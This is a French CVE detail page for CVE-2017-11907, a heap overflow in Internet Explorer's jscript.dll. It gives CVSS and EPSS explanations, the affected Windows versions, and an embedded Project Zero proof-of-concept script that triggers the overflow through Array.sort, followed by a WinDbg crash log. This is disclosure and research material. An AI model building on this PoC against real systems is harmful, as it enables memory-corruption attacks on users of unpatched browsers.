CVE-2017-11907 : Détail

CVE-2017-11907

7.5
/
Haute
Overflow
76.79%V4
Network
2017-12-12
21h00 +00:00
2024-09-17
01h41 +00:00
CVE.org
NVD
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Descriptions du CVE

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allows an attacker to gain the same user rights as the current user, due to how Internet Explorer handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11886, CVE-2017-11889, CVE-2017-11890, CVE-2017-11893, CVE-2017-11894, CVE-2017-11895, CVE-2017-11901, CVE-2017-11903, CVE-2017-11905, CVE-2017-11905, CVE-2017-11908, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11912, CVE-2017-11913, CVE-2017-11914, CVE-2017-11916, CVE-2017-11918, and CVE-2017-11930.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 43370

Date de publication : 2017-12-18 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1383 There is an heap overflow vulnerability in jscript.dll library (used in IE, WPAD and other places). The bug affects 2 functions, JsArrayStringHeapSort and JsArrayFunctionHeapSort. PoC for IE (note: page heap might be required to obsorve the crash): ========================================= --> <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var vars = new Array(100); var arr = new Array(1000); for(var i=1;i<600;i++) arr[i] = i; var o = {toString:function() { for(var i=600;i<1000;i++) { arr[i] = 1337; } }} function go() { arr[0] = o; Array.prototype.sort.call(arr); } go(); </script> <!-- ========================================= Technical details: Array.sort is implemented in JsArraySort which, depending if a comparison function was specified or not, calls JsArrayStringHeapSort or JsArrayFunctionHeapSort. These (vulnerable) functions take several arguments, 2 of which are the input array length and the number of elements currently in the input array (this can be smaller than the array length). The vulnerable functions are going to allcoate 2 buffers to store intermediate data. The size of these buffers will be calculated based on *num_elements*. However, while filling those arrays it is possible that the number of elements is going to increase, which causes a heap overflow. Debug log: ========================================= 0:023> g (e5c.988): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!NameTbl::GetValCore+0x30: 000007fe`f4f59df0 498900 mov qword ptr [r8],rax ds:00000000`04603010=???????????????? 0:013> r rax=c0c0c0c0c0c00003 rbx=000000000443cf20 rcx=000000000441df90 rdx=0000000000000003 rsi=0000000004603010 rdi=000000000441df90 rip=000007fef4f59df0 rsp=00000000129a8e10 rbp=0000000000000000 r8=0000000004603010 r9=000000000441fdc8 r10=00000000040a9800 r11=00000000129a8e70 r12=0000000003ecb690 r13=0000000000000001 r14=0000000004603010 r15=0000000000000259 iopl=0 nv up ei ng nz na pe cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010283 jscript!NameTbl::GetValCore+0x30: 000007fe`f4f59df0 498900 mov qword ptr [r8],rax ds:00000000`04603010=???????????????? 0:013> k # Child-SP RetAddr Call Site 00 00000000`129a8e10 000007fe`f4f75f0e jscript!NameTbl::GetValCore+0x30 01 00000000`129a8e70 000007fe`f4f761d8 jscript!ArrayObj::GetValAtIndex+0x62 02 00000000`129a8eb0 000007fe`f4fbd5a2 jscript!ArrayObj::GetVal+0x28 03 00000000`129a8f40 000007fe`f4fbcd90 jscript!JsArrayStringHeapSort+0x1a6 04 00000000`129a90d0 000007fe`f4f5c2ec jscript!JsArraySort+0x270 05 00000000`129a9180 000007fe`f4f5a9fe jscript!NatFncObj::Call+0x138 06 00000000`129a9230 000007fe`f4f586ea jscript!NameTbl::InvokeInternal+0x3f8 07 00000000`129a9350 000007fe`f4fadd72 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea 08 00000000`129a93a0 000007fe`f4f5c2ec jscript!JsFncCall+0xc2 09 00000000`129a9430 000007fe`f4f5a9fe jscript!NatFncObj::Call+0x138 0a 00000000`129a94e0 000007fe`f4f5b234 jscript!NameTbl::InvokeInternal+0x3f8 0b 00000000`129a9600 000007fe`f4f59852 jscript!VAR::InvokeByName+0x81c 0c 00000000`129a9810 000007fe`f4f59929 jscript!VAR::InvokeDispName+0x72 0d 00000000`129a9890 000007fe`f4f524b8 jscript!VAR::InvokeByDispID+0x1229 0e 00000000`129a98e0 000007fe`f4f58ec2 jscript!CScriptRuntime::Run+0x5a6 0f 00000000`129aa6e0 000007fe`f4f594b3 jscript!ScrFncObj::CallWithFrameOnStack+0x162 10 00000000`129aa8f0 000007fe`f4f586ea jscript!NameTbl::InvokeInternal+0x2d3 11 00000000`129aaa10 000007fe`f4f524b8 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea 12 00000000`129aaa60 000007fe`f4f58ec2 jscript!CScriptRuntime::Run+0x5a6 13 00000000`129ab860 000007fe`f4f58d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 14 00000000`129aba70 000007fe`f4f58b95 jscript!ScrFncObj::Call+0xb7 15 00000000`129abb10 000007fe`f4f5e6c0 jscript!CSession::Execute+0x19e 16 00000000`129abbe0 000007fe`f4f670e7 jscript!COleScript::ExecutePendingScripts+0x17a 17 00000000`129abcb0 000007fe`f4f668d6 jscript!COleScript::ParseScriptTextCore+0x267 18 00000000`129abda0 000007fe`ec595251 jscript!COleScript::ParseScriptText+0x56 19 00000000`129abe00 000007fe`ecd1b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 1a 00000000`129abe80 000007fe`ec596256 MSHTML!CScriptCollection::ParseScriptText+0x37f 1b 00000000`129abf60 000007fe`ec595c8e MSHTML!CScriptData::CommitCode+0x3d9 1c 00000000`129ac130 000007fe`ec595a11 MSHTML!CScriptData::Execute+0x283 1d 00000000`129ac1f0 000007fe`ecd546fb MSHTML!CHtmScriptParseCtx::Execute+0x101 1e 00000000`129ac230 000007fe`ec638a5b MSHTML!CHtmParseBase::Execute+0x235 1f 00000000`129ac2d0 000007fe`ec512e39 MSHTML!CHtmPost::Broadcast+0x90 20 00000000`129ac310 000007fe`ec56caef MSHTML!CHtmPost::Exec+0x4bb 21 00000000`129ac520 000007fe`ec56ca40 MSHTML!CHtmPost::Run+0x3f 22 00000000`129ac550 000007fe`ec56da12 MSHTML!PostManExecute+0x70 23 00000000`129ac5d0 000007fe`ec570843 MSHTML!PostManResume+0xa1 24 00000000`129ac610 000007fe`ec556fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43 25 00000000`129ac660 000007fe`ecd84f78 MSHTML!CDwnChan::OnMethodCall+0x41 26 00000000`129ac690 000007fe`ec479d75 MSHTML!GlobalWndOnMethodCall+0x240 27 00000000`129ac730 00000000`76d19bbd MSHTML!GlobalWndProc+0x150 28 00000000`129ac7b0 00000000`76d198c2 USER32!UserCallWinProcCheckWow+0x1ad 29 00000000`129ac870 000007fe`f11a4a87 USER32!DispatchMessageWorker+0x3b5 2a 00000000`129ac8f0 000007fe`f11ababb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 2b 00000000`129afb70 000007fe`fd48572f IEFRAME!LCIETab_ThreadProc+0x3a3 2c 00000000`129afca0 000007fe`f521925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 2d 00000000`129afcd0 00000000`76e159cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 2e 00000000`129afd20 00000000`76f4a561 kernel32!BaseThreadInitThunk+0xd 2f 00000000`129afd50 00000000`00000000 ntdll!RtlUserThreadStart+0x1d ========================================= -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

Références

http://www.securityfocus.com/bid/102045
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1039991
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43370/
Tags : exploit, x_refsource_EXPLOIT-DB